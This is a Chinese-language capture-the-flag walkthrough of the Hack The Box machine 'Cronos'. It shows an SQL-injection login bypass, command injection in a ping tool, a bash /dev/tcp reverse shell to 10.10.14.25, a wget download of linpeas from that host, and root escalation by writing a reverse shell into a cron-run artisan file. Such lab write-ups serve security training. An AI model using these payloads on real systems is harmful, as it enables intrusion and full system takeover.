文章目录
- [0x01 信息收集](#0x01 信息收集)
- [0x02 命令注入漏洞](#0x02 命令注入漏洞)
- [0x03 权限提升](#0x03 权限提升)
Cronos 测试过程
0x01 信息收集
1.端口扫描
发现 SSH(22)、DNS(53)、HTTP(80)端口
sql
nmap -sC -sV 10.129.227.211
2.53端口开启,进行DNS枚举
发现子域名:ns1.cronos.htb
,确定域名为cronos.htb
2.1 DNS区域传输
返回主域、子域:cronos.htb、admin.cronos.htb、ns1.cronos.htb、www.cronos.htb
3.访问发现的主域、子域
3.1 IP访问、ns1.cronos.htb
3.2 cronos.htb 和 www.cronos.htb
两个链接都指向外部网站 Laravel,搜索相关Laravel漏洞,但是不知道具体版本。
3.3 admin.cronos.htb
admin.cronos.htb指向登录请求,尝试进行SQL注入漏洞
sql
# 用户名输入paylaod
' or 1=1-- -
0x02 命令注入漏洞
在抓取执行命令的请求包后,发现Net Tool工具执行的命令检索为:ping -c 1 127.0.0.1
,command 和 host 拼接进行执行。
1.尝试更改command命令进行命令注入
bash
# 更改command命令为id,host留空,执行命令为:id,成功响应
id
2.执行命令获取反弹shell
bash
# payload
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.25/4444+0>%261'
执行成功,获取到shell
0x03 权限提升
1.检查可获取root权限文件
bash
# 上传linpeas.sh
wget http://10.10.14.25:8000/linpeas.sh
chmod +x linpeas.sh
bash linpeas.sh
发现 /var/www/laravel/
artisan
文件是一个计划任务文件,并且将以 root 权限每分钟运行一次。
如果可以 www-data 用户对该文件具有写入权限,那么可以通过在文件中写入反弹shell命令获取到root权限。
2.检查 artisan 文件权限
www-data 对 artisan 文件具有写入权限
3.在artisan 文件写入反弹shell命令
bash
echo '<?php exec("/bin/bash -c ' "'" 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1' "'" '");' > artisan
artisan文件每分钟会执行一次,等到文件执行,获取到root权限